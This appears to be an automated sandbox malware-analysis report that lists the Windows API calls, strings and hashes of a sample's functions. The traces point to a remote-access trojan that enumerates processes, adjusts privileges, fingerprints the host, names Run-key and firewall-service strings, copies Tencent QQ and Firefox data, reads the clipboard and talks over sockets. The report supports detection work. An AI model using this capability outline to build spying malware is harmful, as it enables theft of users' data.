CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 1002761E
LocalAlloc.KERNEL32 ref: 10027652
Process32First.KERNEL32(?,?), ref: 1002766F
OpenProcess.KERNEL32(00000410,00000000,00000128), ref: 1002768B
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 100276C2
K32GetProcessImageFileNameA.KERNEL32(00000000,?,00000104), ref: 100276D6
lstrcpy.KERNEL32(?,100789F8), ref: 100276ED
lstrcat.KERNEL32(?,100789F8), ref: 10027717
OpenProcessToken.ADVAPI32(?,00000008,?,?,?,?,?,?,?,?,00000040,00000400), ref: 10027782
GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),00000000,00000000,?,?,?,?,?,?,?,?,00000040,00000400), ref: 100277AA
GlobalAlloc.KERNEL32(00000040,?,?,?,?,?,?,?,?,00000040,00000400), ref: 100277BB
GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),00000000,?,?,?,?,?,?,?,?,?,00000040,00000400), ref: 100277D7
LookupAccountSidA.ADVAPI32(00000000,?,00000000,?), ref: 10027827
LookupAccountSidA.ADVAPI32(00000000,?,?,00000000,?,?,?), ref: 1002786C
lstrcpy.KERNEL32(?,?), ref: 10027886
GlobalFree.KERNEL32(00000000), ref: 10027891
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000040,00000400), ref: 100278A0
lstrcpy.KERNEL32(?,100789FC), ref: 100278C7
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,00000040,00000400), ref: 100278DE
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,00000040,00000400), ref: 100278EE
LocalSize.KERNEL32(?), ref: 10027904
LocalReAlloc.KERNEL32(?,?,00000042,?,?,?,?,?,?,?,00000040,00000400), ref: 10027916
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,00000040,00000400), ref: 10027931
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000040,00000400), ref: 1002794F
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000040,00000400), ref: 10027962
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000040,00000400), ref: 1002798A
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000040,00000400), ref: 100279A5
lstrlen.KERNEL32(?), ref: 100279C9
K32GetProcessMemoryInfo.KERNEL32 ref: 10027A07
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 10027A5C
GetFileSize.KERNEL32(00000000,00000000), ref: 10027A6E
CloseHandle.KERNEL32(?), ref: 10027A7D
CloseHandle.KERNEL32(00000000), ref: 10027A97
Process32Next.KERNEL32(?,?), ref: 10027AA6
LocalReAlloc.KERNEL32(00000000,00000001,00000042), ref: 10027ABC
GetCurrentProcess.KERNEL32(00000028,?), ref: 10027ACB
OpenProcessToken.ADVAPI32(00000000), ref: 10027AD2
LookupPrivilegeValueA.ADVAPI32 ref: 10027B01
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000,?,?,?,00000000,100787FC,?), ref: 10027B1B
GetLastError.KERNEL32(?,?,?,00000000,100787FC,?), ref: 10027B21
CloseHandle.KERNEL32(?,?,?,?,00000000,100787FC,?), ref: 10027B2B
CloseHandle.KERNEL32(?), ref: 10027B35

Strings

(, xrefs: 100279FC

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: Process$lstrlen$Token$CloseHandle$AllocLocalLookupOpen$Filelstrcpy$AccountAdjustCreateCurrentErrorGlobalInformationLastPrivilegePrivilegesProcess32SizeValue$EnumFirstFreeImageInfoMemoryModulesNameNextSnapshotToolhelp32lstrcat
String ID: (
API String ID: 984035923-3887548279
Opcode ID: fd6585c358f96cfdc9b269380d91c8ebd9ab5436efa172c2696d2331d90e9987
Instruction ID: 62c872b500d01a8f27c623fe9ca2f01bd6a197061a5aa54a91127d6cb793920b
Opcode Fuzzy Hash: fd6585c358f96cfdc9b269380d91c8ebd9ab5436efa172c2696d2331d90e9987
Instruction Fuzzy Hash: 25F14C71508351AFE720CBA0DC89F9BB7EAFF84705F410919FA89D6190EBB4D548CB92

Function 100334A0 Relevance: 81.0, APIs: 32, Strings: 13, Instructions: 2227filestringregistryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 100335A0
RegCloseKey.ADVAPI32(?), ref: 1003363A
GetTickCount.KERNEL32 ref: 100337CE
gethostname.WS2_32(?,00000040), ref: 100339EF
GetUserNameA.ADVAPI32(?,?), ref: 10033BBC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,000000FF), ref: 10033BC6
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 10033DAA
GetDriveTypeA.KERNEL32(?,?,00000000), ref: 10033FC3
GetDiskFreeSpaceExA.KERNEL32(?,?,?,?), ref: 10033FE7
lstrcpy.KERNEL32(?,10078F08), ref: 1003429C
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 100342D2
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,?,?,?,?,00000000), ref: 1003452D
wsprintfA.USER32 ref: 10034551
OpenServiceA.ADVAPI32(00000000,10079798,000F01FF,?,?,?,?,00000000), ref: 1003456A
QueryServiceStatus.ADVAPI32(00000000,?,?,?,?,?,00000000), ref: 1003457E
wsprintfA.USER32 ref: 1003459C
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 100345FF
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1003487B
SHGetSpecialFolderPathA.SHELL32(00000000,?,0000001A,00000000), ref: 10034ADA
FindFirstFileA.KERNEL32(?,?), ref: 10034B69
FindNextFileA.KERNEL32(00000000,?), ref: 10034B79
FindNextFileA.KERNEL32(00000000,?), ref: 10034B87
FindNextFileA.KERNEL32(00000000,00000010), ref: 10034BCC
EnumDisplaySettingsA.USER32(00000000,000000FF,?), ref: 10034E6B
_strftime.LIBCMT ref: 10035103
OpenSCManagerA.ADVAPI32(00000000,00000000,80000000,10078DA8,80000000,?), ref: 1003514F
QueryServiceStatus.ADVAPI32(00000000), ref: 1003515F
OpenSCManagerA.ADVAPI32(00000000,00000000,80000000,10078DB0,80000000,?), ref: 100351A8
QueryServiceStatus.ADVAPI32(00000000), ref: 100351B2
GetLocaleInfoW.KERNEL32(00000800,00000002,?,00000100), ref: 10035275
WideCharToMultiByte.KERNEL32(00000001,00000000,?,?,00000000,00000000,00000000,00000000), ref: 100352A7
WideCharToMultiByte.KERNEL32(00000001,00000000,?,?,00000000,?,00000000,00000000), ref: 10035316

Part of subcall function 1001CEF0: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 1001CFA1

Strings

Mb, xrefs: 10033E14
MpsSvc, xrefs: 1003512F
\Tencent\Users\*.*, xrefs: 10034B2A
PRjuRju, xrefs: 1003456A, 10035155
Gb, xrefs: 10034057
* , xrefs: 10034E99
SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp, xrefs: 10034296
| , xrefs: 10034BAB
Error code:, xrefs: 10033BCE
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 100354F7
QQ : , xrefs: 10034C1B
SYSTEM\CurrentControlSet\Control\Terminal Server, xrefs: 100345E1
SharedAccess, xrefs: 10035188

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: FileOpen$FindServiceStatus$ManagerNextQuery$ByteCharMultiNameWidelstrlenwsprintf$CloseCountDiskDisplayDriveEnumErrorFirstFolderFreeGlobalInfoIos_base_dtorLastLocaleMemoryModulePathSettingsSpaceSpecialTickTypeUser_strftimegethostnamelstrcpystd::ios_base::_
String ID: * $ Gb$ Mb$ | $Error code:$MpsSvc$PRjuRju$QQ : $SOFTWARE\Microsoft\Windows\CurrentVersion\Run$SYSTEM\CurrentControlSet\Control\Terminal Server$SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp$SharedAccess$\Tencent\Users\*.*
API String ID: 372486894-2842590617
Opcode ID: eaed5042144f554442736e58f93556f7f2d281011c71e288a8947776c2459ae4
Instruction ID: ef9dccbb990c63d91164f13d1b0abb2c3a2552d255cc7f59dea9c93b795c0180
Opcode Fuzzy Hash: eaed5042144f554442736e58f93556f7f2d281011c71e288a8947776c2459ae4
Instruction Fuzzy Hash: DC13AF74D002989FEB25CB24CC85BDDB7B6EB45301F1081D9E589AB281EBB5ABD4CF50

Function 1002C350 Relevance: 56.6, APIs: 37, Instructions: 1121stringfileprocessCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?), ref: 1002C3CD
lstrcat.KERNEL32(?,1007918C), ref: 1002C3DF
CreateDirectoryA.KERNEL32(?,00000000,?,100628E0,000000FF,?,?,?,1002D5D3), ref: 1002C3E8
GetLastError.KERNEL32(?,00000000,?,100628E0,000000FF,?,?,?,1002D5D3), ref: 1002C3F2
FindFirstFileA.KERNEL32(?,?,?,00000000,?,100628E0,000000FF,?,?,?,1002D5D3), ref: 1002C411
lstrcpy.KERNEL32(?,?), ref: 1002C455
lstrcat.KERNEL32(?,10078558), ref: 1002C467
lstrcat.KERNEL32(?,?), ref: 1002C47B
lstrcpy.KERNEL32(?,?), ref: 1002C4A4
lstrcat.KERNEL32(?,10078558), ref: 1002C4B6
lstrcat.KERNEL32(?,?), ref: 1002C4CA
lstrcmp.KERNEL32(?,100785A8), ref: 1002C4E5
lstrcmp.KERNEL32(?,100785AC), ref: 1002C4FB
CreateDirectoryA.KERNEL32(?,00000000), ref: 1002C50E
GetLastError.KERNEL32 ref: 1002C518
CopyFileA.KERNEL32(?,?,00000000), ref: 1002C54F
_strstr.LIBCMT ref: 1002C569
_strstr.LIBCMT ref: 1002C581

Part of subcall function 1001C910: __CxxThrowException@8.LIBVCRUNTIME ref: 1001C93D
Part of subcall function 1001C910: __CxxThrowException@8.LIBVCRUNTIME ref: 1001C97C
Part of subcall function 1001C910: ___std_exception_copy.LIBVCRUNTIME ref: 1001C9AF

CreateFileA.KERNEL32(100791A4,80000000,00000003,00000000,00000003,00000000,00000000,Function_00029180,00000000,00000000,00000000,?), ref: 1002C7C2
CreatePipe.KERNEL32(?,?,?,00000000), ref: 1002C859
CreateProcessA.KERNEL32(?,?,00000000,?,00000000,00000000,00000001,08000000,00000000,00000000,?), ref: 1002C8F1
_strstr.LIBCMT ref: 1002CAD6
_strstr.LIBCMT ref: 1002CAFD
__alldvrm.LIBCMT ref: 1002CBE7
SetFilePointer.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,00000000,00000001,?,?,?,00000000), ref: 1002CC57
ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,00000000,00000001), ref: 1002CC6E
CreatePipe.KERNEL32(?,?,?,00000000,?,?,00000000,?,00000000,00000000,00000001,08000000,00000000,00000000,?), ref: 1002CDE5
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,08000000,00000000,00000000,?,?), ref: 1002CE59
ReadFile.KERNEL32(?,?,00001000,?,00000000), ref: 1002CE81
ReadFile.KERNEL32(?,?,00001000,?,00000000,?,00000000,?), ref: 1002CF19
_strstr.LIBCMT ref: 1002CFC6
_strstr.LIBCMT ref: 1002CFE6
__alldvrm.LIBCMT ref: 1002D0D4
SetFilePointer.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,00000000,00000001), ref: 1002D144
ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,00000000,00000001), ref: 1002D15B
FindNextFileA.KERNEL32(?,00000010), ref: 1002D2BD
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 1002D3B7

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: File$Create$_strstr$lstrcat$Read$lstrcpy$DirectoryErrorException@8FindLastPipePointerProcessThrow__alldvrmlstrcmp$CopyFirstIos_base_dtorNext___std_exception_copystd::ios_base::_
String ID:
API String ID: 785693070-0
Opcode ID: 0e5beaab013e4b02d41b13fb7c9da6e0ff511a7466300b9bcb2e29bad7722ea0
Instruction ID: c6aac867a3ae8722f7bed68f6ea5494810b815fd492b74a42de3eb4e70333ae2
Opcode Fuzzy Hash: 0e5beaab013e4b02d41b13fb7c9da6e0ff511a7466300b9bcb2e29bad7722ea0
Instruction Fuzzy Hash: 77A2CD71D002699FEB21CB60DC98FDAB7B9EF44345F5041E9E809A7281EB71AE85CF50

Function 1002D720 Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 198stringfileprocessCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 1002D75B
lstrcpy.KERNEL32(?,?), ref: 1002D799
CreateFileA.KERNEL32(?,00000001,00000003,00000000,00000003,00000080,00000000), ref: 1002D7C3
GetFileSize.KERNEL32(00000000,00000000), ref: 1002D7D7
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 1002D7F9
_strstr.LIBCMT ref: 1002D809
_strstr.LIBCMT ref: 1002D828
_strstr.LIBCMT ref: 1002D840
lstrcpy.KERNEL32(?,?), ref: 1002D883
lstrcpy.KERNEL32(?,?), ref: 1002D8AF
lstrcpy.KERNEL32(?,10079264), ref: 1002D8F5
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 1002D9C6
CloseHandle.KERNEL32(00000000), ref: 1002D9CD

Strings

1, xrefs: 1002D86C
D, xrefs: 1002D95A
firefox.exe, xrefs: 1002D8FB

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: lstrcpy$File_strstr$Create$CloseFolderHandlePathProcessReadSize
String ID: 1$D$firefox.exe
API String ID: 4099344064-3475012443
Opcode ID: 1dc5e8989785b4bda7ccfddf2bba8779ed50f560ced8dadd8f45b7337581cef6
Instruction ID: 21b72cd11bd9bf49f1dd58248626e67e70ffaeac0b62a91f251ab15fe1912ece
Opcode Fuzzy Hash: 1dc5e8989785b4bda7ccfddf2bba8779ed50f560ced8dadd8f45b7337581cef6
Instruction Fuzzy Hash: 6C7164B2D0072D6ADB21D7A0DC45FDA77BCEB49705F440196F608E6081EBB4AB84CFA4

Function 10022450 Relevance: 25.9, APIs: 17, Instructions: 400networkstringthreadCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,?,00000000), ref: 100224DB
GetLastError.KERNEL32 ref: 1002250B
RtlEnterCriticalSection.NTDLL(?), ref: 10022539
shutdown.WS2_32(?,00000002), ref: 1002254E
RtlLeaveCriticalSection.NTDLL(?), ref: 10022555
lstrcpy.KERNEL32(?,?), ref: 100225B6
lstrlen.KERNEL32(?), ref: 100225C3
gethostbyname.WS2_32(?), ref: 100225DB
GetLastError.KERNEL32 ref: 100225E5
CreateThread.KERNEL32(00000000,00000000,100226D0,?,00000000,00000000), ref: 1002264F
socket.WS2_32(00000002,00000001,00000006), ref: 1002274A
GetLastError.KERNEL32 ref: 10022760
connect.WS2_32(?,?,00000010), ref: 100227CF
getsockname.WS2_32(?,?,?), ref: 10022804
select.WS2_32(00000000,?,00000000,00000000,?), ref: 10022917
recv.WS2_32(?,?,00004FFB,00000000), ref: 10022941
GetLastError.KERNEL32 ref: 1002297B

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: ErrorLast$CriticalSection$CreateEnterLeaveThreadconnectgethostbynamegetsocknamelstrcpylstrlenrecvselectsendshutdownsocket
String ID:
API String ID: 1762070719-0
Opcode ID: f12f43f355e2913f1fb6564092dbc3e05adfa8f446e04b4b636a7539f2386c4d
Instruction ID: 530412d358ef13cd30eb6eff3d6d5f725b22ec64da2f134dd1707c756a858e9a
Opcode Fuzzy Hash: f12f43f355e2913f1fb6564092dbc3e05adfa8f446e04b4b636a7539f2386c4d
Instruction Fuzzy Hash: 53F1A175A00629AFDB20CFA4DC85BDEB7B5EF49311F4041DAE609AB281D7709E84CF90

Function 100283A0 Relevance: 21.3, APIs: 14, Instructions: 337filesleepmemoryCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?), ref: 10028456
FindClose.KERNEL32(00000000), ref: 1002858C
RemoveDirectoryA.KERNEL32(?), ref: 10028598
Sleep.KERNEL32(00000001,?,?), ref: 1002860B
CreateFileA.KERNEL32(1008C3A0,80000000,00000001,00000000,00000003,00000080,00000000,?,?), ref: 10028628
GetFileSize.KERNEL32(00000000,00000000,?,?), ref: 1002863D
CreateFileA.KERNEL32(1008C3A0,80000000,00000001,00000000,00000003,00000080,00000000,?,?), ref: 1002866C
GetFileSize.KERNEL32(00000000,00000000,?,?), ref: 10028683
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?), ref: 100286B2
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 100286E1
LocalAlloc.KERNEL32(00000040,00000001), ref: 10028756
LocalFree.KERNEL32(00000000,00000000,00000001), ref: 1002877D
CloseHandle.KERNEL32(00000000,?,?), ref: 10028793
Sleep.KERNEL32(000001F4,?,?), ref: 1002879E

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: File$CloseCreateFindLocalSizeSleep$AllocDirectoryFirstFreeHandlePointerReadRemove
String ID:
API String ID: 2870245554-0
Opcode ID: 5c02852aca5b1ad305ddcb12ea57ff70cade89943826154d1dce3a01b81c7d6d
Instruction ID: 9abde7887f01a9e4308f1e1e6579fd59006c6bdb325a6c287ec11336e428b0a8
Opcode Fuzzy Hash: 5c02852aca5b1ad305ddcb12ea57ff70cade89943826154d1dce3a01b81c7d6d
Instruction Fuzzy Hash: C8C16635D012149FEB11CB74DC89BEEBBB6EF46304F904258F906A7192EB74AB84C760

Function 10023110 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 266filememorystringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,?), ref: 10023188
FindFirstFileA.KERNEL32(?,?), ref: 100231DC
lstrcpy.KERNEL32(?,?), ref: 1002320C
_strstr.LIBCMT ref: 10023370
LocalAlloc.KERNEL32(00000040,00000400), ref: 10023387
LocalReAlloc.KERNEL32(00000000,?,00000042), ref: 100233F5
LocalSize.KERNEL32(00000000), ref: 100233FE
Sleep.KERNEL32(0000000A,00000000,00000000), ref: 1002340F
LocalFree.KERNEL32(00000000), ref: 10023416
FindNextFileA.KERNEL32(?,00000010), ref: 1002342E
FindClose.KERNEL32(?), ref: 10023449

Strings

\, xrefs: 100231A7

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: Local$Find$AllocFilelstrcpy$CloseFirstFreeNextSizeSleep_strstr
String ID: \
API String ID: 2400463266-2967466578
Opcode ID: c75ebdeda7fae14cea93437a2d9b9780273bf63878692337f621c6d7cb7d4005
Instruction ID: a9bc2ec9a5e4d5509740a9c8aa022550c3b9fc9fb83989263553e61ed903fb2f
Opcode Fuzzy Hash: c75ebdeda7fae14cea93437a2d9b9780273bf63878692337f621c6d7cb7d4005
Instruction Fuzzy Hash: 09A1F6754083869FC711CF20DC95B9B7BEAEF46344F858859E9C587241EB33EA09C762

Function 1002C000 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 137clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 1002C01E
EmptyClipboard.USER32 ref: 1002C02C
GlobalAlloc.KERNEL32(00002000,?), ref: 1002C03C
GlobalFix.KERNEL32(00000000), ref: 1002C048
GlobalUnWire.KERNEL32(00000000), ref: 1002C05E
SetClipboardData.USER32(00000001,00000000), ref: 1002C067
CloseClipboard.USER32 ref: 1002C06D
OpenClipboard.USER32(00000000), ref: 1002C084
GetClipboardData.USER32(00000001), ref: 1002C094
GlobalFix.KERNEL32(00000000), ref: 1002C09B
CloseClipboard.USER32 ref: 1002C15F

Strings

NULL, xrefs: 1002C0A7

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: Clipboard$Global$CloseDataOpen$AllocEmptyWire
String ID: NULL
API String ID: 1263324636-324932091
Opcode ID: 0d61714ba7b5f0c40e36a24a6666119437ac47073f95aa2b9919093933bbc768
Instruction ID: 400162aeeb1ea5b9ca1cf531f64844b92407e51fb74a7b43c8ec825263358158
Opcode Fuzzy Hash: 0d61714ba7b5f0c40e36a24a6666119437ac47073f95aa2b9919093933bbc768
Instruction Fuzzy Hash: 3D413A3A404256AFD711CFB4DC89EAABFBAEF472407068199ED85DB202DE31E505C7E1

Function 100244D0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 156filestringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 10024520
wsprintfA.USER32 ref: 1002454C
FindFirstFileA.KERNEL32(?,?), ref: 10024563
wsprintfA.USER32 ref: 100245AB
wsprintfA.USER32 ref: 100245CE
FindNextFileA.KERNEL32(00000000,?), ref: 100246AC
FindClose.KERNEL32(?), ref: 100246C7

Part of subcall function 10037ACA: std::invalid_argument::invalid_argument.LIBCONCRT ref: 10037AD6
Part of subcall function 10037ACA: __CxxThrowException@8.LIBVCRUNTIME ref: 10037AE4

Strings

., xrefs: 10024580

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: Findwsprintf$File$CloseException@8FirstNextThrowlstrlenstd::invalid_argument::invalid_argument
String ID: .
API String ID: 648996880-248832578
Opcode ID: c59b87833085ea7394338ed07c7c7e93f14cb1358d830d3aa1380a1bc0eb6459
Instruction ID: a81bd424a75b6edb125dd219aae49f712d71b39fc0785eabed3f65e50fb2d0b0
Opcode Fuzzy Hash: c59b87833085ea7394338ed07c7c7e93f14cb1358d830d3aa1380a1bc0eb6459
Instruction Fuzzy Hash: 8A51C3B1900228AFDB25CF64DC88BDEB7B9EF09300F4145D9E609A7241DF34AB848F65

Function 10024730 Relevance: 12.2, APIs: 8, Instructions: 159filesleepCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(?,?), ref: 1002477A
FindClose.KERNEL32(00000000), ref: 100247EE
CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 10024809
Sleep.KERNEL32(000001F4), ref: 10024839
CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 1002485A
CloseHandle.KERNEL32(00000000), ref: 10024866
GetLastError.KERNEL32 ref: 100248A3
wsprintfA.USER32 ref: 100248BA

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: File$CloseCreateFind$ErrorFirstHandleLastSleepwsprintf
String ID:
API String ID: 1612440928-0
Opcode ID: cabf3bdbed042bf51ebf373f31938e7904f6aa94265057035e2e7ef716c5db20
Instruction ID: 95f9f6e4f95b3b344b267a2b4f5f7afd8c5787e944251514b1b3a7f9b94cb743
Opcode Fuzzy Hash: cabf3bdbed042bf51ebf373f31938e7904f6aa94265057035e2e7ef716c5db20
Instruction Fuzzy Hash: 3F516775904759ABE720CF64EC85FDAB7BDEB0A301F4202A5FA1997181DF70AE848F50

Function 1002C170 Relevance: 12.1, APIs: 8, Instructions: 133filestringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?), ref: 1002C1B4
CreateDirectoryA.KERNEL32(?,00000000), ref: 1002C1D1
FindFirstFileA.KERNEL32(?,?,?,00000000), ref: 1002C1FC
lstrcpy.KERNEL32(?,?), ref: 1002C243
lstrcpy.KERNEL32(?,?), ref: 1002C28A
CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,00000000), ref: 1002C2E4
CopyFileA.KERNEL32(?,?,00000000), ref: 1002C31A
FindNextFileA.KERNEL32(?,00000010,?,?,?,?,00000000), ref: 1002C32D

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: Filelstrcpy$CreateDirectoryFind$CopyFirstNext
String ID:
API String ID: 835149165-0
Opcode ID: e93e67be7cef07d6650ea99c290638fb7a92c95ef7197641ddea0c58a8016949
Instruction ID: 494b491f79b9f7d22e9fa64d10fb8d7a3fe34fa55ed2fd2c2ee68dea3d663ada
Opcode Fuzzy Hash: e93e67be7cef07d6650ea99c290638fb7a92c95ef7197641ddea0c58a8016949
Instruction Fuzzy Hash: 93414EB1D0022DAADB10DBA0DC85FDA77BDEB08704F8109D6E709E2051EB749B88CF95

Function 100230CD Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 187filestringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,?), ref: 10023188
FindFirstFileA.KERNEL32(?,?), ref: 100231DC
lstrcpy.KERNEL32(?,?), ref: 1002320C
FindNextFileA.KERNEL32(?,00000010), ref: 1002342E

Strings

\, xrefs: 100231A7

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: FileFindlstrcpy$FirstNext
String ID: \
API String ID: 2764145207-2967466578
Opcode ID: 58b80f01ab7c2801b00470d679980a0ebd7ea3bec0e140ae251f181d84d78490
Instruction ID: 70e9d521bbe3c211fdc09d11bca489ecf1c7166b67d648f911c2adb956e0c797
Opcode Fuzzy Hash: 58b80f01ab7c2801b00470d679980a0ebd7ea3bec0e140ae251f181d84d78490
Instruction Fuzzy Hash: 8F61D47140838A9FC711CF60EC95BDB7BEAEF4A344F448899E9C48B152D736A90DCB52

Function 1005B61D Relevance: 7.8, APIs: 5, Instructions: 253COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 1004E0DC: GetLastError.KERNEL32(?,?,?,1003ED3E,?,?,?,?,1003EE09,?,?,10085840), ref: 1004E0E1
Part of subcall function 1004E0DC: SetLastError.KERNEL32(00000000,100811E4,000000FF,?,1003EE09,?,?,10085840), ref: 1004E17F

GetACP.KERNEL32(00000055,?,?,?,?,?,1004F52B,?,?,?,?,?,?,00000005), ref: 1005B6DE
IsValidCodePage.KERNEL32(00000000,00000055,?,?,?,?,?,1004F52B,?,?,?,?,?,?,00000005), ref: 1005B709
_wcschr.LIBVCRUNTIME ref: 1005B79D
_wcschr.LIBVCRUNTIME ref: 1005B7AB
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,1004F52B,00000000,1004F64B), ref: 1005B86E

Memory Dump Source

Source File: 00000009.00000002.3247470830.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10001000_DAPIjX8.jbxd

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID:
API String ID: 4147378913-0
Opcode ID: e2e83e29fddc58e32a926a91443d95557941a7bc456b83e047a3e7626ea2dd0d
Instruction ID: f4100ba16a994014ef307abb055ab7ad8399c76de4691ded939d6f181299281c
Opcode Fuzzy Hash: e2e83e29fddc58e32a926a91443d95557941a7bc456b83e047a3e7626ea2dd0d
Instruction Fuzzy Hash: 7A71E675A00A06AAE714EB65CC86BAB73ECEF48790F114439F905DB181EB74FD48CB64

Function 100181D0 Relevance: 1.5, APIs: 1, Instructions: 17shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 10020650: LoadLibraryW.KERNEL32(100782C8), ref: 1002066B
Part of subcall function 10020650: LoadLibraryW.KERNEL32(10077444), ref: 1002069E
Part of subcall function 10020650: GetProcAddress.KERNEL32(00000000,10077470), ref: 100206AC

ExitWindowsEx.USER32(?,00000000), ref: 100181E7

Part of subcall function 10020650: LoadLibraryW.KERNEL32(100784DC), ref: 1002070B
Part of subcall function 10020650: GetProcAddress.KERNEL32(00000000,100784F8), ref: 10020717
Part of subcall function 10020650: CloseHandle.KERNEL32(?), ref: 10020731

Memory Dump Source
